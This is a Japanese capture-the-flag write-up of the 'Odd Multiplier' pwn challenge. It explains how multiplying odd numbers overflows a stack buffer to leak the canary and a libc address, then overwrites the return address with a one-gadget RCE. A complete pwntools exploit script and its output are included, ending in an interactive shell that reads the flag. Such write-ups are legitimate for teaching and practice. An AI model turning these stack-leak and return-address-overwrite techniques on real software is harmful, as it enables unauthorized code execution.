# Odd Multiplier
by mito

### 10 solves, 497 pts

```
Can you do multiplication?

The flag is in /home/user/flag

nc 34.85.75.40 30002

Difficulty estimate: Easy
```

* 255以下の奇数を複数入力して積を計算するプログラム。0を入力すると結果を表示する。
* 積の計算結果をスタックに置いているため、大きな数になるように入力すると `canary` と リターンアドレスのlibcアドレス(libc_start_main+231)を含めて表示してくれる。（canary値は `255` を `25` 回、libcは `255` を `41` 回）
* 下記は積算の計算結果を格納するスタックの状態です。24バイト先にcanary値が、40バイト先がリターンアドレスです。
```
0x7fffffffde20: 0x000000000000fe01 0x0000000000000000 <= 積算値　255 x 255 = 65025(0xfe01)
0x7fffffffde30: 0x00007fffffffdf20 0xfb7319e823a6d800 <= canary (0xfb7319e823a6d800)
0x7fffffffde40: 0x0000555555554ca0 0x00007ffff7a05b97 <= return address (0x00007ffff7a05b97)
0x7fffffffde50: 0x0000000000000001 0x00007fffffffdf28
```

* これを使うと、リターンアドレスを書き換えることも可能。
* 但し、奇数の積算で一度にcanary値とリターンアドレスを書くことはできないので、大きいアドレスの方から １バイト単位で書き込む。最後にcanary値を書き込む。
* 最初はlibcのsystem関数の呼び出しを試みるが、アドレスの0x0000部分を掛け算で作り出すことができずに断念。
* リターン時に `rcx=0` であることを気付き、rcx=0制約の `One-gadget RCE` を使う方法に変更。
* canary値の下位1バイトの0x00部分を積算値で書き込むことができないので、その部分のみcanary値の下位２バイトを0x ` XX00` になるように書き込む。
* 積算する奇数は、４つの奇数をブルートフォースで計算した（もっと効率的な方法があるかもしれないが）。
* ブルートフォースで奇数を求めることができない場合があり、Exploitコードを2,3回動作させる必要があった。

exploitコードは下記になります。
```
from pwn import *

#context(os='linux', arch='amd64')
#context.log_level = 'debug'

BINARY = './multiplier'
elf = ELF(BINARY)

if len(sys.argv) > 1 and sys.argv[1] == 'r':
HOST = "34.85.75.40"
PORT = 30002
s = remote(HOST, PORT)
libc = ELF("./libc-2.27.so")
else:
s = process(BINARY)
libc = elf.libc

# calculate 4 odd nummbers
def Multi(a1, c0, d, l):
for i0 in range(127, 2, -2):
for i1 in range(3, 128, 2):
for i2 in range(127, 2, -2):
for i3 in range(255, 2, -2):
e = i0 * i1 * i2 * i3 * d
if len(hex(a1)) == len(hex(e)) and hex(a1)[0:l] == hex(e)[0:l]:
#print i0,i1,i2,i3,hex(e)
return i0,i1,i2,i3

# Send odd number to server
def Set_data(s, addr, pos, n, mode):
a0 = hex(addr) + "00"*pos
a1 = int(a0, 16)

d = 1
for i in range(200):
d0 = d*255
if d0*255*255 > a1:
break
d = d0
if n == 6 and mode == 1:
i0, i1, i2, i3 = Multi(a1, a1/d, d, 6) # for 1 byte(0x00) of canary
else:
i0, i1, i2, i3 = Multi(a1, a1/d, d, 4)

s.recvuntil("\n\n")
for j in range(i):
s.sendline("255")
s.sendline(str(i0))
s.sendline(str(i1))
s.sendline(str(i2))
s.sendline(str(i3))
s.sendline("0")
print hex(addr), i0,i1,i2,i3,"0"

# Break address into 1 byte
def Set_addr(s, addr, pos, mode):
for i in range(8):
addr = addr & int("ff"*(8-i),16)
if i == 7 and mode == 1:
break
else:
Set_data(s, addr, pos, i, mode)

s.recvuntil("I will multiply odd numbers until you enter 0\n\n")

# Leak canary
for i in range(25):
s.sendline("255")
s.sendline("0")
r = s.recv(14)
canary = int(r + '00', 16)
print "canary =", hex(canary)

# Leak libc
s.recvuntil("\n\n")
for i in range(41):
s.sendline("255")
s.sendline("0")
r = s.recv(10)
libc_leak = int(r + '97', 16)
libc_base = libc_leak - 0x21B97
one_gadget_addr = libc_base + 0x4f2c5
print "libc_leak =", hex(libc_leak)
print "libc_base =", hex(libc_base)
print "one_gadget =", hex(one_gadget_addr)

# First, One gadget RCE write
Set_addr(s, one_gadget_addr, 40, 0)

# Second, canary write
Set_addr(s, canary, 24, 1)

# for return
s.recvuntil("\n\n")
s.sendline("2")

#s.sendline("cat /home/user/flag")

s.interactive()
```

実行結果です。

```
$ python solve.py r
canary = 0xbeaaaac194d3a100
libc_leak = 0x7fd3035efb97
libc_base = 0x7fd3035ce000
one_gadget = 0x7fd30361d2c5
0x7fd30361d2c5 127 3 127 205 0
0x7fd30361d2c5 127 3 127 205 0
0x7fd30361d2c5 127 3 127 205 0
0xd30361d2c5 127 5 127 203 0
0x361d2c5 127 3 99 7 0
0x61d2c5 127 3 127 155 0
0xd2c5 127 5 127 199 0
0xc5 127 5 125 189 0
0xbeaaaac194d3a100 127 5 127 173 0
0xaaaac194d3a100 127 5 127 155 0
0xaac194d3a100 127 5 123 159 0
0xc194d3a100 127 5 125 177 0
0x94d3a100 127 3 125 225 0
0xd3a100 127 5 127 189 0
0xa100 127 7 117 111 0
[*] Switching to interactive mode
I'm able to multiply only odd numbers.
$ id
uid=999(user) gid=999(user) groups=999(user)
$ cd /home/user
$ ls
flag
libc-2.27.so
multiplier
start.sh
$ cat flag
TSGCTF{Carrying_out_calculations_of_carries_will_carry_the_flag}
```